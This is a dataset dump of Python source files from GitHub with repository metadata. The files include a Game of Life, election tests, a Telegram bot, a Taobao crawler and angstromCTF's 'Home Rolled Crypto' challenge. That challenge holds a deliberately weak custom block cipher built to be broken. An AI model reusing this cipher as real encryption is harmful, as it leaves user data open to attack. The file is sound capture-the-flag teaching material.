hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
243f5ef3ab22e2193e13cda129abfcbaf954553e
977
py
Python
python/game-of-life/src/next_generation.py
enolive/learning
075b714bd7bea6de58a8da16cf142fc6c8535e11
[ "MIT" ]
8
2016-10-18T09:30:12.000Z
2021-12-08T13:28:28.000Z
python/game-of-life/src/next_generation.py
enolive/learning
075b714bd7bea6de58a8da16cf142fc6c8535e11
[ "MIT" ]
29
2019-12-28T06:09:07.000Z
2022-03-02T03:44:19.000Z
python/game-of-life/src/next_generation.py
enolive/learning
075b714bd7bea6de58a8da16cf142fc6c8535e11
[ "MIT" ]
4
2018-07-23T22:20:58.000Z
2020-09-19T09:46:41.000Z
from itertools import product from src.board import Board class NextGeneration(object): @staticmethod def calculate(board): width, height = board.dimensions() new_board = Board([]) for position in product(range(width + 1), range(height + 1)): NextGeneration.__set_next_stat...
32.566667
93
0.689867
030d071e84a628cd87e609f127edd271018b4fb4
8,184
py
Python
tests/onegov/election_day/utils/test_d3_renderer.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/election_day/utils/test_d3_renderer.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
tests/onegov/election_day/utils/test_d3_renderer.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from base64 import b64encode from datetime import date from onegov.ballot import Ballot from onegov.ballot import Election from onegov.ballot import ElectionCompound from onegov.ballot import Vote from onegov.election_day import _ from onegov.election_day.utils.d3_renderer import D3Renderer from unittest.mock import pa...
41.755102
79
0.61608
ceed0e62a993c1c354dbd09de5f4cc7a01807b4a
567
py
Python
Python/CodingChallenges/LeetCode/RemoveDuplicatesFromSortedArray/Attempt01.py
JamieBort/LearningDirectory
afca79c5f1333c079d0e96202ff44ca21b2ceb81
[ "Info-ZIP" ]
1
2022-02-02T21:56:08.000Z
2022-02-02T21:56:08.000Z
Python/CodingChallenges/LeetCode/RemoveDuplicatesFromSortedArray/Attempt01.py
JamieBort/LearningDirectory
afca79c5f1333c079d0e96202ff44ca21b2ceb81
[ "Info-ZIP" ]
27
2020-06-27T23:25:59.000Z
2022-02-27T20:40:56.000Z
Python/CodingChallenges/LeetCode/RemoveDuplicatesFromSortedArray/Attempt01.py
JamieBort/LearningDirectory
afca79c5f1333c079d0e96202ff44ca21b2ceb81
[ "Info-ZIP" ]
null
null
null
from typing import List nums = [1, 1, 2]; # want [1, 2, 2] # nums = [1, 1, 2, 3]; # want [1, 2, 3, 3] # nums = [0, 0, 1, 1, 1, 2, 2, 3, 3, 4]; def removeDuplicates(nums: List[int]) -> int:# omitted "self" from signature. # def removeDuplicates(self, nums: List[int]) -> int: if(len(nums)<2): return len(num...
24.652174
77
0.500882
cef47a2a3467d4c8767d9f4933a8431824a5ffaa
204
py
Python
labs/lab09/durr.py
jputlock/CSCI4961
3f8300694c0ac0d2163973b421343cd776053528
[ "Apache-2.0" ]
null
null
null
labs/lab09/durr.py
jputlock/CSCI4961
3f8300694c0ac0d2163973b421343cd776053528
[ "Apache-2.0" ]
null
null
null
labs/lab09/durr.py
jputlock/CSCI4961
3f8300694c0ac0d2163973b421343cd776053528
[ "Apache-2.0" ]
3
2019-06-16T18:45:57.000Z
2021-12-02T11:44:05.000Z
def bin_search(x, L): low = 0 high = len(L) while low != high: mid = (low+high)//2 if x > L[mid]: low = mid + 1 else: high = mid return low
18.545455
27
0.411765
cc55754b343d492f4bc191c4442277d3a8f66a22
315
py
Python
Algorithms/Sorting/CountingSort3.py
baby5/HackerRank
1e68a85f40499adb9b52a4da16936f85ac231233
[ "MIT" ]
null
null
null
Algorithms/Sorting/CountingSort3.py
baby5/HackerRank
1e68a85f40499adb9b52a4da16936f85ac231233
[ "MIT" ]
null
null
null
Algorithms/Sorting/CountingSort3.py
baby5/HackerRank
1e68a85f40499adb9b52a4da16936f85ac231233
[ "MIT" ]
null
null
null
#coding:utf-8 from collections import Counter n = int(raw_input()) counter = Counter() for i in xrange(n): x, s = raw_input().split() counter += Counter([x]) ar = [] pr = 0 for i in xrange(100): num = counter.get(str(i), 0) ar += [pr + num] pr += num print ' '.join(map(str, ar))
14.318182
32
0.55873
9dc8f82a8f96c67b42789f8dce16f2b5f94f95e2
1,430
py
Python
order/migrations/0021_auto_20201215_1032.py
hhdMrLion/Product-System
e870225ab10c32688a87426d5943d922c47c4404
[ "MIT" ]
1
2021-06-18T03:03:42.000Z
2021-06-18T03:03:42.000Z
order/migrations/0021_auto_20201215_1032.py
hhdMrLion/Product-System
e870225ab10c32688a87426d5943d922c47c4404
[ "MIT" ]
null
null
null
order/migrations/0021_auto_20201215_1032.py
hhdMrLion/Product-System
e870225ab10c32688a87426d5943d922c47c4404
[ "MIT" ]
null
null
null
# Generated by Django 2.2.16 on 2020-12-15 02:32 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('order', '0020_auto_20201215_0904'), ] operations = [ migrations.AlterField( mode...
39.722222
154
0.562937
8886bcd797ce1ac68d54f7c7d6a17da9d9e9af5b
4,914
py
Python
year_3/comppi_0/tgbot/botsetup.py
honchardev/KPI
f8425681857c02a67127ffb05c0af0563a8473e1
[ "MIT" ]
null
null
null
year_3/comppi_0/tgbot/botsetup.py
honchardev/KPI
f8425681857c02a67127ffb05c0af0563a8473e1
[ "MIT" ]
21
2020-03-24T16:26:04.000Z
2022-02-18T15:56:16.000Z
year_3/comppi_0/tgbot/botsetup.py
honchardev/KPI
f8425681857c02a67127ffb05c0af0563a8473e1
[ "MIT" ]
null
null
null
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters from tgbot.models import TGBot, TGChat, TrackedPost import requests _token = None _updater = None TGBotInstance = None _kickedUsers = {} def setup_bot(token): global _token global _updater _token = token _updater = Updater(toke...
33.202703
119
0.671958
4e9161706ae68c5cff1f9a7ade9e3809b24f1255
1,834
py
Python
listings/chapter05/linear_search.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
2
2021-09-20T06:16:41.000Z
2022-01-17T14:24:43.000Z
listings/chapter05/linear_search.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
listings/chapter05/linear_search.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
def linear_search(search_space, search_object, func = None, find_all = False): # Zähler zuerst auf 0 setzen counter = 0 # Schleife über jedes Element mit Index for index, element in enumerate(search_space): # Ist das aktuelle Element das gesuchte Objekt? if search_object == element: ...
39.021277
87
0.65867
09238ddb76371071738cf22350bfd7f42c85d218
1,336
py
Python
Contrib-Microsoft/Olympus_rack_manager/python-ocs/commonapi/models/event_log.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
5
2019-11-11T07:57:26.000Z
2022-03-28T08:26:53.000Z
Contrib-Microsoft/Olympus_rack_manager/python-ocs/commonapi/models/event_log.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
3
2019-09-05T21:47:07.000Z
2019-09-17T18:10:45.000Z
Contrib-Microsoft/Olympus_rack_manager/python-ocs/commonapi/models/event_log.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
11
2019-07-20T00:16:32.000Z
2022-01-11T14:17:48.000Z
# Copyright (C) Microsoft Corporation. All rights reserved. # This program is free software; you can redistribute it # and/or modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # -*- codi...
31.069767
87
0.653443
e12c886d54d4360f5e37acfcc25337395b3a2a45
6,450
py
Python
yhh_hw.py
sambabypapapa/CralwerSet
a76e0660c42ce7aac20b8d07ccc454b6636a8a2a
[ "Apache-2.0" ]
5
2020-08-17T08:37:16.000Z
2021-06-07T05:02:05.000Z
yhh_hw.py
sambabypapapa/CralwerSet
a76e0660c42ce7aac20b8d07ccc454b6636a8a2a
[ "Apache-2.0" ]
null
null
null
yhh_hw.py
sambabypapapa/CralwerSet
a76e0660c42ce7aac20b8d07ccc454b6636a8a2a
[ "Apache-2.0" ]
1
2021-06-07T05:02:10.000Z
2021-06-07T05:02:10.000Z
""" 爬取达人有好货达人好物商品 """ import json import requests import CralwerSet.connect_mysql as connect_mysql import pymysql import random import time import hashlib from urllib import parse import CralwerSet.taobao_yhh_recommend as tyr import re import traceback USER_LIST = { "悦享优活": "460577576", "雅居室": "765800359", ...
30
263
0.498915
097fb0f9627ace67f1aa466b2064ff52197cfac3
1,367
py
Python
src/lindemann.py
Futud/lindemann.py
a131577f94b2921d1f9789c2e1729083108aaddc
[ "MIT" ]
null
null
null
src/lindemann.py
Futud/lindemann.py
a131577f94b2921d1f9789c2e1729083108aaddc
[ "MIT" ]
null
null
null
src/lindemann.py
Futud/lindemann.py
a131577f94b2921d1f9789c2e1729083108aaddc
[ "MIT" ]
2
2022-01-04T16:47:03.000Z
2022-01-04T17:24:05.000Z
import discord import random from discord import client token ="" intents = discord.Intents.all() client = discord.Client(intents=intents) messages = ["https://media.discordapp.net/attachments/922478840356425758/926507839982305340/20211220_162425.jpg", "https://media.discordapp.net/attachments/922478840356...
41.424242
216
0.716898
115f1d343f502ee4c5199d81d26fe1f00a89cf0d
15
py
Python
new.py
anuragbasantfw/ticket_tags
f88f3067c9f95f54421429ccafc0fbc72e731303
[ "Apache-2.0" ]
null
null
null
new.py
anuragbasantfw/ticket_tags
f88f3067c9f95f54421429ccafc0fbc72e731303
[ "Apache-2.0" ]
null
null
null
new.py
anuragbasantfw/ticket_tags
f88f3067c9f95f54421429ccafc0fbc72e731303
[ "Apache-2.0" ]
null
null
null
#Hi I am anurag
15
15
0.733333
3aa4798d29cd61d8498e2eb8c010a380c977fedf
28
py
Python
dcapy/auth/__init__.py
scuervo91/dcapy
46c9277e607baff437e5707167476d5f7e2cf80c
[ "MIT" ]
4
2021-05-21T13:26:10.000Z
2021-11-15T17:17:01.000Z
dcapy/auth/__init__.py
scuervo91/dcapy
46c9277e607baff437e5707167476d5f7e2cf80c
[ "MIT" ]
null
null
null
dcapy/auth/__init__.py
scuervo91/dcapy
46c9277e607baff437e5707167476d5f7e2cf80c
[ "MIT" ]
null
null
null
from .auth import Credential
28
28
0.857143
aaf6784ae922c0588b664d44bcba9953d30fd2bd
109
py
Python
production/pygsl-0.9.5/pygsl/_mlab.py
juhnowski/FishingRod
457e7afb5cab424296dff95e1acf10ebf70d32a9
[ "MIT" ]
1
2019-07-29T02:53:51.000Z
2019-07-29T02:53:51.000Z
production/pygsl-0.9.5/pygsl/_mlab.py
juhnowski/FishingRod
457e7afb5cab424296dff95e1acf10ebf70d32a9
[ "MIT" ]
1
2021-09-11T14:30:32.000Z
2021-09-11T14:30:32.000Z
Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/pygsl/_mlab.py
poojavade/Genomics_Docker
829b5094bba18bbe03ae97daf925fee40a8476e8
[ "Apache-2.0" ]
2
2016-12-19T02:27:46.000Z
2019-07-29T02:53:54.000Z
""" WARNING: File Generated during build. DO NOT MODIFY!!! """ from numpy.oldnumeric.mlab import *
18.166667
62
0.651376
a364f3028f4ff0aeece3a43be133ec107327d39c
3,617
py
Python
Packs/MalwareInvestigationAndResponse/Scripts/ReadProcessesFileXDR/ReadProcessesFileXDR_test.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
null
null
null
Packs/MalwareInvestigationAndResponse/Scripts/ReadProcessesFileXDR/ReadProcessesFileXDR_test.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
40
2022-03-03T07:34:00.000Z
2022-03-31T07:38:35.000Z
Packs/MalwareInvestigationAndResponse/Scripts/ReadProcessesFileXDR/ReadProcessesFileXDR_test.py
jrauen/content
81a92be1cbb053a5f26a6f325eff3afc0ca840e0
[ "MIT" ]
null
null
null
import json import pytest @pytest.mark.parametrize('_return_value , res', [ ('test_data/process_list.json', 'test_data/process_list.md') ]) def test_entries_to_markdown(_return_value, res): """ Given: - _return_values a process list When: - running the automation Then: - pa...
35.116505
104
0.660216
a37e42e57d69b4422a4050fdda7d515fdee87c55
17,502
py
Python
kocha/client.py
f1nan/kocha
9b99c0add1fe1c85b11d68dd04d56e90112835ec
[ "MIT" ]
null
null
null
kocha/client.py
f1nan/kocha
9b99c0add1fe1c85b11d68dd04d56e90112835ec
[ "MIT" ]
null
null
null
kocha/client.py
f1nan/kocha
9b99c0add1fe1c85b11d68dd04d56e90112835ec
[ "MIT" ]
null
null
null
""" Modul mit Klassen und Methoden fuer den KOCHA-Client. """ import curses import enum import locale import queue import socket import sys import threading import time from kocha import shared class KochaTcpClient(shared.KochaTcpSocketWrapper): """ Klasse fuer die Kommunikation mit dem KOCHA-Server via TCP...
31.421903
80
0.577477
2548adf00c87440a51d4e195cb861f17fdc46b56
1,072
py
Python
21-fs-ias-lec/03-BACnetCore/src/core/interface/owned_subfeed.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
8
2020-03-17T21:12:18.000Z
2021-12-12T15:55:54.000Z
21-fs-ias-lec/03-BACnetCore/src/core/interface/owned_subfeed.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
2
2021-07-19T06:18:43.000Z
2022-02-10T12:17:58.000Z
21-fs-ias-lec/03-BACnetCore/src/core/interface/owned_subfeed.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
25
2020-03-20T09:32:45.000Z
2021-07-18T18:12:59.000Z
from .feed import Feed from .event import Content class OwnedSubFeed(Feed): """ Instances of this class represent feeds that are owned by this node and are not the masterfeed. Additional to the normal feed-functionality (Feed class), this class adds the functionality to insert Events into the feed....
38.285714
118
0.699627
6c7ba2fb5f0faaea16faebf42fbd7a86e7c17d9e
1,928
py
Python
GZP_GTO_QGIS/gto/scripts/SCR_Projektion.py
msgis/swwat-gzp-template
080afbe9d49fb34ed60ba45654383d9cfca01e24
[ "MIT" ]
3
2019-06-18T15:28:09.000Z
2019-07-11T07:31:45.000Z
GZP_GTO_QGIS/gto/scripts/SCR_Projektion.py
msgis/swwat-gzp-template
080afbe9d49fb34ed60ba45654383d9cfca01e24
[ "MIT" ]
2
2019-07-11T14:03:25.000Z
2021-02-08T16:14:04.000Z
GZP_GTO_QGIS/gto/scripts/SCR_Projektion.py
msgis/swwat-gzp-template
080afbe9d49fb34ed60ba45654383d9cfca01e24
[ "MIT" ]
1
2019-06-12T11:07:37.000Z
2019-06-12T11:07:37.000Z
# -*- coding: utf-8 -*- """ @author: ms.gis, June 2020 Script for QGIS GTO for Modul GZP """ import qgis from qgis.core import QgsProject from qgis.core import QgsMapLayer from PyQt5.QtWidgets import QMessageBox def testProjektion(iface): # Set project, counter, and message content project = QgsProject.ins...
38.56
163
0.625
660149f8dc20a42679a3f6e161e9f1b9ea558a87
16,737
py
Python
scheduleSynchronizer/views.py
497022407/Shifts-manager
beccb63c8622c015a9a453f586d4c3bb5d5066b9
[ "Apache-2.0" ]
null
null
null
scheduleSynchronizer/views.py
497022407/Shifts-manager
beccb63c8622c015a9a453f586d4c3bb5d5066b9
[ "Apache-2.0" ]
null
null
null
scheduleSynchronizer/views.py
497022407/Shifts-manager
beccb63c8622c015a9a453f586d4c3bb5d5066b9
[ "Apache-2.0" ]
null
null
null
from django.shortcuts import render from django.http import HttpResponse, HttpResponseRedirect from django.urls import reverse # from datetime import datetime, timedelta from datetime import * import pytz import copy from dateutil import tz, parser import json from requests.api import delete from scheduleSynchronizer....
34.86875
188
0.537014
af052b0cd2269a83210b1f7962afc10e4899006c
1,076
py
Python
tests/test_dict.py
suned/pfun
46c460646487abfef897bd9627891f6cf7870774
[ "MIT" ]
126
2019-09-16T15:28:20.000Z
2022-03-20T10:57:53.000Z
tests/test_dict.py
suned/pfun
46c460646487abfef897bd9627891f6cf7870774
[ "MIT" ]
54
2019-09-30T08:44:01.000Z
2022-03-20T11:10:00.000Z
tests/test_dict.py
suned/pfun
46c460646487abfef897bd9627891f6cf7870774
[ "MIT" ]
11
2020-01-02T08:32:46.000Z
2022-03-20T11:10:24.000Z
from string import printable import pytest from hypothesis import assume, given from hypothesis.strategies import text from pfun import Dict from pfun.hypothesis_strategies import anything, dicts from pfun.maybe import Just, Nothing @given(dicts(text(printable), anything())) def test_setitem(d): new_d = d.set('...
24.454545
63
0.650558
af37f0d1921c6d1752b87840924420d0a55ae951
623
py
Python
NoSQL/redis-test.py
shihab4t/Software-Development
0843881f2ba04d9fca34e44443b5f12f509f671e
[ "Unlicense" ]
null
null
null
NoSQL/redis-test.py
shihab4t/Software-Development
0843881f2ba04d9fca34e44443b5f12f509f671e
[ "Unlicense" ]
null
null
null
NoSQL/redis-test.py
shihab4t/Software-Development
0843881f2ba04d9fca34e44443b5f12f509f671e
[ "Unlicense" ]
null
null
null
import redis import time r = redis.Redis(host="localhost", port=6379, db=0) r.set("France", "Frais") r.set("Germany", "Berlin") france_capital = r.get("France") germany_capital = r.get("Germany") print(france_capital) print(germany_capital) r.mset({"Germany2": "Berlin", "France2": "Frais"}) france_capital = r.get...
17.305556
50
0.70305
af3808abe2c1c4258396ffc3299a79fcdbfa9dca
4,757
py
Python
connect/__init__.py
slaurianodev/msgraph
617e5e7d890a06757ef38871d9ddecfac2852c84
[ "MIT" ]
null
null
null
connect/__init__.py
slaurianodev/msgraph
617e5e7d890a06757ef38871d9ddecfac2852c84
[ "MIT" ]
null
null
null
connect/__init__.py
slaurianodev/msgraph
617e5e7d890a06757ef38871d9ddecfac2852c84
[ "MIT" ]
null
null
null
# Copyright (c) Microsoft. All rights reserved. Licensed under the MIT license. # See LICENSE in the project root for license information. from connect.config import client_id, client_secret from connect.graph_service import call_sendMail_endpoint from connect.graph_service import call_create_event_Calendar from flask...
33.265734
136
0.703384
af3f8a4430dda107d977093e68f16ba8849bb6f1
456
py
Python
Data Structures/BinaryTree/binary_tree.py
Nidita/Data-Structures-Algorithms
7b5198c8d37e9a70dd0885c6eef6dddd9d85d74a
[ "MIT" ]
26
2019-07-17T11:05:43.000Z
2022-02-06T08:31:40.000Z
Data Structures/BinaryTree/binary_tree.py
Nidita/Data-Structures-Algorithms
7b5198c8d37e9a70dd0885c6eef6dddd9d85d74a
[ "MIT" ]
7
2019-07-16T19:52:25.000Z
2022-01-08T08:03:44.000Z
Data Structures/BinaryTree/binary_tree.py
Nidita/Data-Structures-Algorithms
7b5198c8d37e9a70dd0885c6eef6dddd9d85d74a
[ "MIT" ]
19
2020-01-14T02:44:28.000Z
2021-12-27T17:31:59.000Z
class Node: def __init__(self, data): self.data = data self.left = None self.right = None class BinaryTree: def __init__(self, data): self.root = Node(data) if __name__ == "__main__": tree = BinaryTree(1) tree.root.left = Node(2) tree.root.right = Node(3) ...
21.714286
35
0.594298
a5372e6d141f72490812a9f9f9ae2fe77fa78db7
1,918
py
Python
angstrom/2021/crypto/Home_Rolled_Crypto/chall.py
mystickev/ctf-archives
89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e
[ "MIT" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
angstrom/2021/crypto/Home_Rolled_Crypto/chall.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
angstrom/2021/crypto/Home_Rolled_Crypto/chall.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-12-19T11:06:24.000Z
2021-12-19T11:06:24.000Z
#!/usr/bin/python import binascii from random import choice class Cipher: BLOCK_SIZE = 16 ROUNDS = 3 def __init__(self, key): assert(len(key) == self.BLOCK_SIZE*self.ROUNDS) self.key = key def __block_encrypt(self, block): enc = int.from_bytes(block, "big") for i in ran...
28.205882
119
0.529197
3c4564eb96adb112c3cd292fb8ced5662f3f0585
4,438
py
Python
Enigma 2 - Local Bouquet to Remote Converter/plugin.py
gianmarcov/public
e9cda1c8afc10a183c0951bd737c3c5ecbe78fe2
[ "MIT" ]
1
2015-04-07T18:35:43.000Z
2015-04-07T18:35:43.000Z
Enigma 2 - Local Bouquet to Remote Converter/plugin.py
gianmarcov/public
e9cda1c8afc10a183c0951bd737c3c5ecbe78fe2
[ "MIT" ]
null
null
null
Enigma 2 - Local Bouquet to Remote Converter/plugin.py
gianmarcov/public
e9cda1c8afc10a183c0951bd737c3c5ecbe78fe2
[ "MIT" ]
null
null
null
''' Created on 06.03.2016 * The MIT License (MIT) * * Copyright (c) 2015 Vitelli Gianmarco * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limi...
48.23913
217
0.704597
b1ca510bf00db334d81abe60302464839b3312b7
3,214
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/route/checkStopOrder.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/route/checkStopOrder.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/route/checkStopOrder.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
#!/usr/bin/env python # Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2014-2020 German Aerospace Center (DLR) and others. # This program and the accompanying materials are made available under the # terms of the Eclipse Public License 2.0 which is available at # https://www.ec...
40.175
118
0.668637
596f4293fdcafda6f051c7d3e8ca3cc310f8783b
270
py
Python
Licence 2/I33/Exam 2/ex_4.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
8
2020-11-26T20:45:12.000Z
2021-11-29T15:46:22.000Z
Licence 2/I33/Exam 2/ex_4.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
null
null
null
Licence 2/I33/Exam 2/ex_4.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
6
2020-10-23T15:29:24.000Z
2021-05-05T19:10:45.000Z
def elementmedian(M): l_M = len(M) n_M = sorted(M[i][j] for i in range(l_M) for j in range(l_M)) l_M = int(len(n_M) / 2) return n_M[l_M] print(elementmedian([[2, 0, 9, 8, 8], [8, 0, 8, 6, 1], [ 4, 3, 3, 2, 7], [0, 0, 0, 5, 2], [3, 5, 7, 6, 4]]))
27
65
0.488889
abb7a6c87682b20c900487e6d4a9608102189251
3,230
py
Python
Packs/FeedMalwareBazaar/Integrations/MalwareBazaarFeed/MalwareBazaarFeed.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/FeedMalwareBazaar/Integrations/MalwareBazaarFeed/MalwareBazaarFeed.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/FeedMalwareBazaar/Integrations/MalwareBazaarFeed/MalwareBazaarFeed.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
from typing import Dict from CommonServerPython import * from CommonServerUserPython import * from JSONFeedApiModule import * INTEGRATION_NAME = "MalwareBazaar Feed" def custom_mapping_function(mapping: Dict, indicator: Dict, attributes: Dict): for map_key in mapping: if map_key in attributes: ...
42.5
113
0.595666
abd38f231b6a658559af5ef45e99ce09e36f5d98
1,489
py
Python
operator37.py
jxtrbtk/bindex
8feee8ff9db371d9e691e10ea70467446c0412b1
[ "MIT" ]
1
2022-03-09T20:44:33.000Z
2022-03-09T20:44:33.000Z
operator37.py
jxtrbtk/bindex
8feee8ff9db371d9e691e10ea70467446c0412b1
[ "MIT" ]
null
null
null
operator37.py
jxtrbtk/bindex
8feee8ff9db371d9e691e10ea70467446c0412b1
[ "MIT" ]
null
null
null
import pandas as pd from decimal import Decimal import lib import operatorQN def match_price(df, target, direction, tick_size): match_price = float(df.head(1)["price"]) offset = - Decimal(tick_size) * direction df["diff"] = (df["price"] - float(target)) * direction mask = (df["diff"] > 0) diff_...
34.627907
105
0.672935
0552df6ff6630eee9b210095ad181e3322c6ab1d
2,401
py
Python
src/ztc/hw/__init__.py
magistersart/ZTC_fork
ce72734ea575d9846b5b81f3efbfd14fa1f7e532
[ "PostgreSQL" ]
null
null
null
src/ztc/hw/__init__.py
magistersart/ZTC_fork
ce72734ea575d9846b5b81f3efbfd14fa1f7e532
[ "PostgreSQL" ]
null
null
null
src/ztc/hw/__init__.py
magistersart/ZTC_fork
ce72734ea575d9846b5b81f3efbfd14fa1f7e532
[ "PostgreSQL" ]
null
null
null
#!/usr/bin/env python #pylint: disable=W0232 """ ZTC Hardware monitoring package Copyright (c) 2010-2011 Vladimir Rusinov <vladimir@greenmice.info> Copyright (c) 2010 Murano Software [http://muranosoft.com] Copyright (c) 2011 Parchment Inc. [http://www.parchment.com] """ from ztc.check import ZTCCheck...
28.583333
75
0.531445
056b3c8a139dbbc235defdd6d20e651cc206d0cf
10,493
py
Python
pghoard/rohmu/delta/snapshot.py
st3fan/sphinx-automation-experiment
c92c8400770c6c604e2451e4f1e71957fc4c5ef8
[ "Apache-2.0" ]
731
2018-06-01T21:48:43.000Z
2022-03-29T08:21:42.000Z
pghoard/rohmu/delta/snapshot.py
st3fan/sphinx-automation-experiment
c92c8400770c6c604e2451e4f1e71957fc4c5ef8
[ "Apache-2.0" ]
124
2018-06-19T05:59:50.000Z
2022-03-31T18:17:59.000Z
pghoard/rohmu/delta/snapshot.py
st3fan/sphinx-automation-experiment
c92c8400770c6c604e2451e4f1e71957fc4c5ef8
[ "Apache-2.0" ]
64
2018-06-26T14:12:53.000Z
2022-03-20T07:33:33.000Z
# Copyright (c) 2021 Aiven, Helsinki, Finland. https://aiven.io/ import base64 import logging import os import threading from pathlib import Path from typing import Callable, Dict, List, Optional from pghoard.rohmu.delta.common import ( EMBEDDED_FILE_SIZE, Progress, SnapshotFile, SnapshotHash, SnapshotState, hash_...
43.903766
123
0.650434
34dc04082c30f11020280bd6a4f1a7b71ae89ae9
487
py
Python
vormittags/blatt1_fragepasswort.py
dotKuro/vorsemesterWISE19-20
436c6d1846b6c1bfb087652e8ca179bd1b12c28e
[ "CC0-1.0" ]
1
2019-09-27T13:47:20.000Z
2019-09-27T13:47:20.000Z
vormittags/blatt1_fragepasswort.py
dotKuro/vorsemesterWISE19-20
436c6d1846b6c1bfb087652e8ca179bd1b12c28e
[ "CC0-1.0" ]
null
null
null
vormittags/blatt1_fragepasswort.py
dotKuro/vorsemesterWISE19-20
436c6d1846b6c1bfb087652e8ca179bd1b12c28e
[ "CC0-1.0" ]
null
null
null
SECRET_PASSWORD = "passwort1" correct_password = False tries_left = 3 while not correct_password and tries_left > 0: user_input = input("Geben Sie ihr Passwort ein.\n") if(SECRET_PASSWORD == user_input): print("Authentifizierung erfolgreich!") correct_password = True else: print("Fa...
28.647059
61
0.661191
b5bfef2971d63d97e37f3edaaa774cc08516db29
390
py
Python
src/comex_stat/urls.py
mdicgovbr/2018.2-ComexStat
9eb339e6995585061317d41eabed99b569472806
[ "MIT" ]
null
null
null
src/comex_stat/urls.py
mdicgovbr/2018.2-ComexStat
9eb339e6995585061317d41eabed99b569472806
[ "MIT" ]
null
null
null
src/comex_stat/urls.py
mdicgovbr/2018.2-ComexStat
9eb339e6995585061317d41eabed99b569472806
[ "MIT" ]
null
null
null
from django.contrib import admin from django.urls import path from comex_stat import views from django.contrib.staticfiles.urls import staticfiles_urlpatterns from graphene_django.views import GraphQLView urlpatterns = [ path('admin/', admin.site.urls), path('graphql/', GraphQLView.as_view(graphiql=True)), ...
30
67
0.779487
